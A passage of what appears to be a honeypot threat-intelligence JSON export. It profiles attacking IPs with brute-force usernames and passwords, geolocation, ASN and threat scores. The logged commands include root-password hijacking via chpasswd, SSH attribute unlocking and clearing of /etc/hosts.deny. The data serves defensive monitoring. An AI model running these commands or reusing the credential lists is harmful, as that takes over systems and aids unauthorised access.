        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 437,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:07:10.914000+00:00",
        "last_seen_30d": "2026-05-21T02:16:26.672000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 110
      }
    },
    "43.134.228.151": {
      "attack_count": 304,
      "first_seen": "2026-05-18T17:05:40.337Z",
      "last_seen": "2026-05-18T17:37:48.804Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0okm9ijn",
        "102030",
        "136161",
        "Mexico123",
        "Qwe123!!",
        "Redvirtual09",
        "a1234567",
        "abc.123456",
        "dallas",
        "federico",
        "imprime",
        "qweasd123",
        "samara",
        "singularity",
        "sparky",
        "tsalarian",
        "tybalt1",
        "unique"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BVqRSnaTfDDI\"|chpasswd|bash",
        "echo \"root:IJ1ey0A6sTf1\"|chpasswd|bash",
        "echo \"root:XVEmEZSMH9SV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:05:40.337000+00:00",
        "last_seen_30d": "2026-05-18T17:38:49.148000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "95.165.68.145": {
      "attack_count": 285,
      "first_seen": "2026-05-14T18:33:35.893Z",
      "last_seen": "2026-05-25T09:26:00.881Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jflhi5za",
        "whmapi",
        "admin",
        "gm",
        "jcon0r73",
        "jla",
        "linux",
        "nadmin",
        "oracle",
        "pakchoi",
        "root2",
        "rsacgo23",
        "shrvn6xd",
        "steam",
        "support",
        "work",
        "yusuf",
        "zahar"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "0.0.0.0.",
        "112233",
        "1234",
        "123Qwe123C",
        "1q2w!Q@W",
        "781011",
        "8.5vHtXSSViFDvKi+TB.",
        "A12345678@",
        "Ht@123456",
        "ItsemoemoWashere2023support",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "YourPassword@6942",
        "drHsosw0iIPRMnLcZUwC",
        "gm",
        "nadmin",
        "qvAKezGkBP2x-stx1C-n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"YourPassword@6942\\nYZFJp4337rsW\\nYZFJp4337rsW\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\n5d1iG0xqOGk3\\n5d1iG0xqOGk3\\n\"|passwd",
        "echo -e \"YourPassword@6942\\nYZFJp4337rsW\\nYZFJp4337rsW\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\n5d1iG0xqOGk3\\n5d1iG0xqOGk3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:33:35.893000+00:00",
        "last_seen_30d": "2026-05-25T09:36:02.739000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 285,
        "Suricata": 75
      }
    },
    "103.13.207.32": {
      "attack_count": 258,
      "first_seen": "2026-05-04T00:33:14.900Z",
      "last_seen": "2026-05-04T01:19:05.593Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "root",
        "alireza",
        "hadoop",
        "insserver",
        "testuser",
        "ark",
        "bitrix",
        "datauser",
        "frappe",
        "ftptest",
        "lsfadmin",
        "otrs",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "123132123",
        "12345",
        "123456",
        "123456789",
        "123qweasdzxc",
        "888",
        "@admin1234",
        "ADMIN",
        "QNX",
        "a123456",
        "aA123456.",
        "alireza",
        "datauser",
        "ftptest2022",
        "hadoop@123",
        "insserver",
        "newpassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"insserver\\n6rkFVwvWZsh3\\n6rkFVwvWZsh3\\n\"|passwd",
        "echo -e \"insserver\\n6rkFVwvWZsh3\\n6rkFVwvWZsh3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:33:14.900000+00:00",
        "last_seen_30d": "2026-05-04T01:20:09.614000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 78
      }
    },
    "103.243.24.124": {
      "attack_count": 242,
      "first_seen": "2026-05-13T19:52:35.242Z",
      "last_seen": "2026-05-13T20:28:11.577Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxsw2",
        "1980",
        "ABC123abc",
        "Abc12345",
        "Fujitsu",
        "QWERqwer!@#$1234",
        "admin@321",
        "asdqwe",
        "donald",
        "hello",
        "javier01",
        "lahai",
        "logger123",
        "mohajeri",
        "power123",
        "shadow@@@ubyta",
        "three4me",
        "topolina"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ZsMxoHrgBy6H\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nHwGQf2q1uGk1\\nHwGQf2q1uGk1\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\nHwGQf2q1uGk1\\nHwGQf2q1uGk1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Laws Cloud Infrastructure Limited",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:52:35.242000+00:00",
        "last_seen_30d": "2026-05-13T20:29:12.148000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 57
      }
    },
    "37.222.188.4": {
      "attack_count": 240,
      "first_seen": "2026-05-18T22:35:49.835Z",
      "last_seen": "2026-05-18T23:02:12.740Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10261026",
        "1q2w3e$R%T^Y",
        "ADMIN123",
        "adonix",
        "botpass",
        "claude",
        "customerservice",
        "fhem",
        "jiamima",
        "mozart123",
        "netwatch123456",
        "office",
        "officina",
        "peng",
        "please",
        "poiuyt",
        "qwe123QWE!@",
        "roberto"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OYGcLx60MhtP\"|chpasswd|bash",
        "echo \"root:kRYkwTP7r94f\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:35:49.835000+00:00",
        "last_seen_30d": "2026-05-18T23:03:22.099000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 56
      }
    },
    "45.89.55.225": {
      "attack_count": 233,
      "first_seen": "2026-05-24T18:22:18.014Z",
      "last_seen": "2026-05-24T19:26:46.373Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "httpd",
        "mega",
        "nova",
        "openkm",
        "proxyuser",
        "pzuser",
        "superset",
        "theo",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123pls123A!",
        "1a2b3c",
        "1qaz@WSX3edc$RFV",
        "Qwe123456.",
        "ROOT1234",
        "Test123!@",
        "asdasd12",
        "fjbdfdjkdsfs541544@@",
        "mega",
        "openkm123",
        "q1w2e3r4",
        "root123@",
        "superset",
        "theo",
        "zhbjETuyMffoL8F"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nzI98O7byoA3w\\nzI98O7byoA3w\\n\"|passwd",
        "echo \"zhbjETuyMffoL8F\\ncTPKXyBFM9vs\\ncTPKXyBFM9vs\\n\"|passwd",
        "echo -e \"123\\nzI98O7byoA3w\\nzI98O7byoA3w\"|passwd|bash",
        "echo -e \"zhbjETuyMffoL8F\\ncTPKXyBFM9vs\\ncTPKXyBFM9vs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 209847,
      "as_org": "WorkTitans B.V.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:22:18.014000+00:00",
        "last_seen_30d": "2026-05-24T19:27:46.929000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 57
      }
    },
    "14.248.83.33": {
      "attack_count": 221,
      "first_seen": "2026-05-05T08:56:56.192Z",
      "last_seen": "2026-05-14T20:06:40.666Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "gittest",
        "guest",
        "postgres",
        "test",
        "user",
        "345gs5662d34",
        "Ubuntu",
        "admin",
        "deploy",
        "dev",
        "developer",
        "ftpuser",
        "git",
        "jboss",
        "mcserver",
        "newuser",
        "oracle",
        "ts"
      ],
      "passwords_attempted": [
        "test",
        "!QAZ2wsx#EDC",
        "12345678",
        "1234qwer",
        "123qwe",
        "123qwe123",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "Root1234",
        "admin",
        "admin101",
        "admin102030",
        "admin123",
        "administrator123",
        "dev12",
        "developer1",
        "gittest",
        "guest123456",
        "pa$$w0rd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gittest\\nU4WXm4BI8IJN\\nU4WXm4BI8IJN\\n\"|passwd",
        "echo -e \"gittest\\nU4WXm4BI8IJN\\nU4WXm4BI8IJN\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:56:56.192000+00:00",
        "last_seen_30d": "2026-05-14T20:07:48.017000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 72
      }
    },
    "96.78.175.36": {
      "attack_count": 218,
      "first_seen": "2026-05-05T16:04:36.360Z",
      "last_seen": "2026-05-05T17:04:09.044Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "alex",
        "amiri",
        "bitrix",
        "db2fenc1",
        "ftp_user",
        "git",
        "server",
        "test",
        "ubuntu",
        "user",
        "user03"
      ],
      "passwords_attempted": [
        "123456",
        "000000",
        "0p;/9ol.",
        "123",
        "12341234",
        "123456789",
        "123456Qwe",
        "12345trewq",
        "123qweASDzxc",
        "19880124",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin-2026",
        "Admin@123.",
        "As123456789",
        "Mm@123456789",
        "P@ssw0rd",
        "P@ssw0rd@123",
        "Password1",
        "QAZwsxedc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kvrgZK6SacPE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:04:36.360000+00:00",
        "last_seen_30d": "2026-05-05T17:05:12.332000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "182.46.109.22": {
      "attack_count": 216,
      "first_seen": "2026-05-20T18:27:19.430Z",
      "last_seen": "2026-05-21T06:29:48.140Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:27:19.430000+00:00",
        "last_seen_30d": "2026-05-21T06:31:38.671000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 110
      }
    },
    "116.208.170.190": {
      "attack_count": 202,
      "first_seen": "2026-05-22T10:36:00.474Z",
      "last_seen": "2026-05-22T20:24:53.939Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:36:00.474000+00:00",
        "last_seen_30d": "2026-05-22T20:26:00.509000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 107
      }
    },
    "121.61.70.42": {
      "attack_count": 194,
      "first_seen": "2026-05-19T06:45:16.867Z",
      "last_seen": "2026-05-19T17:54:58.981Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:45:16.867000+00:00",
        "last_seen_30d": "2026-05-19T17:56:04.673000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 112
      }
    },
    "186.18.241.179": {
      "attack_count": 181,
      "first_seen": "2026-05-27T06:55:15.872Z",
      "last_seen": "2026-05-27T07:14:30.252Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dima",
        "systemd",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123asdASD",
        "1qaz2WSX",
        "Aa@123456",
        "Admin$2026",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "qwerty654321",
        "welcome@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EpMP1Xf1frtv\"|chpasswd|bash",
        "echo \"root:SjHrMbaorElk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:55:15.872000+00:00",
        "last_seen_30d": "2026-05-27T07:15:38.163000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
        "Suricata": 30
      }
    },
    "124.156.198.158": {
      "attack_count": 178,
      "first_seen": "2026-05-16T15:05:26.962Z",
      "last_seen": "2026-05-16T15:38:55.259Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1999",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Centos@2019",
        "Yj123456@",
        "anaconda1",
        "asdfgh",
        "f0gu31r@5",
        "jasmin",
        "kokot",
        "miklos",
        "oravis",
        "rafael123",
        "ramu",
        "rawad-admin",
        "sembarang",
        "sniper!@",
        "student@123",
        "sven"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
